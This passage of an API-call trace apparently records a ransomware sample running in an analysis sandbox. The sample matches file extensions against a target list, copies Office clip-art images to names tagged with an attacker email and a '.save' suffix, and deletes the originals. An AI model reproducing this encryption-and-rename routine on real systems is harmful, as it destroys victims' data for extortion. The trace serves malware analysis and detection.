Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.149] lstrlenW (lpString=".dbf") returned 4 [0177.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.149] lstrlenW (lpString=".1cd") returned 4 [0177.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.149] lstrlenW (lpString=".jpg") returned 4 [0177.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.149] lstrlenW (lpString=".doc") returned 4 [0177.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString=".docx") returned 5 [0177.149] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0177.149] lstrlenW (lpString=".pdf") returned 4 [0177.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0177.149] lstrlenW (lpString=".xls") returned 4 [0177.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0177.149] lstrlenW (lpString=".xlsx") returned 5 [0177.149] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0177.149] lstrlenW (lpString=".ppt") returned 4 [0177.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0177.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.150] lstrlenW (lpString=".zip") returned 4 [0177.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0177.150] lstrlenW (lpString=".rar") returned 4 [0177.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0177.150] lstrlenW (lpString=".bz2") returned 4 [0177.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0177.150] lstrlenW (lpString=".7z") returned 3 [0177.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0177.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.150] lstrlenW (lpString=".dbf") returned 4 [0177.166] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0177.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.166] lstrlenW (lpString=".1cd") returned 4 [0177.166] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0177.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF") returned 68 [0177.166] lstrlenW (lpString=".jpg") returned 4 [0177.166] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0177.166] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.167] lstrlenW (lpString="J0144773.JPG") returned 12 [0177.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.169] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=40231) returned 1 [0177.169] CloseHandle (hObject=0x540) returned 1 [0177.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 0x220 [0177.169] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0177.170] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.170] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0177.170] GetLastError () returned 0x0 [0177.170] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x9d27, lpOverlapped=0x0) returned 1 [0177.175] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x9d30, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x9d30, lpOverlapped=0x0) returned 1 [0177.176] ReadFile (in: hFile=0x540, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0177.176] WriteFile (in: hFile=0x378, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0177.177] SetEndOfFile (hFile=0x378) returned 1 [0177.177] CloseHandle (hObject=0x378) returned 1 [0177.177] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.177] SetEndOfFile (hFile=0x540) returned 1 [0177.181] CloseHandle (hObject=0x540) returned 1 [0177.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0144773.jpg")) returned 1 [0177.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.438] lstrlenW (lpString=".doc") returned 4 [0177.438] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.438] lstrlenW (lpString=".docx") returned 5 [0177.439] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0177.439] lstrlenW (lpString=".pdf") returned 4 [0177.439] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.439] lstrlenW (lpString=".xls") returned 4 [0177.439] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.439] lstrlenW (lpString=".xlsx") returned 5 [0177.439] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0177.439] lstrlenW (lpString=".ppt") returned 4 [0177.439] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.439] lstrlenW (lpString=".zip") returned 4 [0177.439] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.439] lstrlenW (lpString=".rar") returned 4 [0177.439] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.439] lstrlenW (lpString=".bz2") returned 4 [0177.439] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.439] lstrlenW (lpString=".7z") returned 3 [0177.439] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.439] lstrlenW (lpString=".dbf") returned 4 [0177.439] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.439] lstrlenW (lpString=".1cd") returned 4 [0177.440] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.440] lstrlenW (lpString=".jpg") returned 4 [0177.440] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.440] lstrlenW (lpString=".doc") returned 4 [0177.440] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.440] lstrlenW (lpString=".docx") returned 5 [0177.440] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0177.440] lstrlenW (lpString=".pdf") returned 4 [0177.440] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.440] lstrlenW (lpString=".xls") returned 4 [0177.440] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.440] lstrlenW (lpString=".xlsx") returned 5 [0177.440] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0177.440] lstrlenW (lpString=".ppt") returned 4 [0177.441] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.441] lstrlenW (lpString=".zip") returned 4 [0177.441] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.441] lstrlenW (lpString=".rar") returned 4 [0177.441] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.441] lstrlenW (lpString=".bz2") returned 4 [0177.441] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.441] lstrlenW (lpString=".7z") returned 3 [0177.441] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.441] lstrlenW (lpString=".dbf") returned 4 [0177.441] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.441] lstrlenW (lpString=".1cd") returned 4 [0177.441] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0144773.JPG") returned 68 [0177.441] lstrlenW (lpString=".jpg") returned 4 [0177.441] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.442] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.442] lstrlenW (lpString="J0145272.JPG") returned 12 [0177.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0177.443] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=49238) returned 1 [0177.443] CloseHandle (hObject=0x538) returned 1 [0177.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220 [0177.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0177.445] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.445] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.446] GetLastError () returned 0x0 [0177.446] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0xc056, lpOverlapped=0x0) returned 1 [0177.449] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xc060, lpOverlapped=0x0) returned 1 [0177.452] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0177.452] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0177.452] SetEndOfFile (hFile=0x51c) returned 1 [0177.452] CloseHandle (hObject=0x51c) returned 1 [0177.453] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.453] SetEndOfFile (hFile=0x538) returned 1 [0177.457] CloseHandle (hObject=0x538) returned 1 [0177.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0177.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.460] lstrlenW (lpString=".doc") returned 4 [0177.460] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.460] lstrlenW (lpString=".docx") returned 5 [0177.460] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0177.460] lstrlenW (lpString=".pdf") returned 4 [0177.460] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.460] lstrlenW (lpString=".xls") returned 4 [0177.460] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.460] lstrlenW (lpString=".xlsx") returned 5 [0177.460] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0177.460] lstrlenW (lpString=".ppt") returned 4 [0177.461] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.461] lstrlenW (lpString=".zip") returned 4 [0177.461] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.461] lstrlenW (lpString=".rar") returned 4 [0177.461] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.461] lstrlenW (lpString=".bz2") returned 4 [0177.461] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.461] lstrlenW (lpString=".7z") returned 3 [0177.461] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.461] lstrlenW (lpString=".dbf") returned 4 [0177.461] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.461] lstrlenW (lpString=".1cd") returned 4 [0177.461] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.461] lstrlenW (lpString=".jpg") returned 4 [0177.461] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.461] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.461] lstrlenW (lpString=".doc") returned 4 [0177.461] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0177.461] lstrlenW (lpString=".docx") returned 5 [0177.461] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0177.461] lstrlenW (lpString=".pdf") returned 4 [0177.461] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0177.462] lstrlenW (lpString=".xls") returned 4 [0177.462] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0177.462] lstrlenW (lpString=".xlsx") returned 5 [0177.462] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0177.462] lstrlenW (lpString=".ppt") returned 4 [0177.462] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0177.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.462] lstrlenW (lpString=".zip") returned 4 [0177.462] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0177.462] lstrlenW (lpString=".rar") returned 4 [0177.462] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0177.462] lstrlenW (lpString=".bz2") returned 4 [0177.462] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0177.462] lstrlenW (lpString=".7z") returned 3 [0177.462] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0177.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.462] lstrlenW (lpString=".dbf") returned 4 [0177.462] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0177.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.462] lstrlenW (lpString=".1cd") returned 4 [0177.462] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0177.462] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68 [0177.462] lstrlenW (lpString=".jpg") returned 4 [0177.462] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0177.462] lstrcmpiW (lpString1=".JPG", lpString2=".save") returned -1 [0177.463] lstrlenW (lpString="J0145361.JPG") returned 12 [0177.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0177.464] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x29eff14 | out: lpFileSize=0x29eff14*=21125) returned 1 [0177.464] CloseHandle (hObject=0x538) returned 1 [0177.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 0x220 [0177.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0177.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0177.464] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.464] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0177.465] GetLastError () returned 0x0 [0177.465] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x5285, lpOverlapped=0x0) returned 1 [0177.468] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0x5290, lpOverlapped=0x0) returned 1 [0177.469] ReadFile (in: hFile=0x538, lpBuffer=0x385f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efecc, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesRead=0x29efecc*=0x0, lpOverlapped=0x0) returned 1 [0177.469] WriteFile (in: hFile=0x51c, lpBuffer=0x385f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x29efc94, lpOverlapped=0x0 | out: lpBuffer=0x385f020*, lpNumberOfBytesWritten=0x29efc94*=0xec, lpOverlapped=0x0) returned 1 [0177.469] SetEndOfFile (hFile=0x51c) returned 1 [0177.470] CloseHandle (hObject=0x51c) returned 1 [0177.470] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec0 | out: lpNewFilePointer=0x0) returned 1 [0177.470] SetEndOfFile (hFile=0x538) returned 1 [0177.475] CloseHandle (hObject=0x538) returned 1 [0177.475] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0177.476] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0178.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.025] lstrlenW (lpString=".doc") returned 4 [0178.025] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.025] lstrlenW (lpString=".docx") returned 5 [0178.026] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0178.026] lstrlenW (lpString=".pdf") returned 4 [0178.026] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.026] lstrlenW (lpString=".xls") returned 4 [0178.026] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.026] lstrlenW (lpString=".xlsx") returned 5 [0178.026] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0178.026] lstrlenW (lpString=".ppt") returned 4 [0178.026] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.026] lstrlenW (lpString=".zip") returned 4 [0178.026] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.026] lstrlenW (lpString=".rar") returned 4 [0178.026] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.026] lstrlenW (lpString=".bz2") returned 4 [0178.026] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.026] lstrlenW (lpString=".7z") returned 3 [0178.026] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.026] lstrlenW (lpString=".dbf") returned 4 [0178.026] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.026] lstrlenW (lpString=".1cd") returned 4 [0178.026] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.059] lstrlenW (lpString=".jpg") returned 4 [0178.059] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0178.059] lstrlenW (lpString="C:\\Program 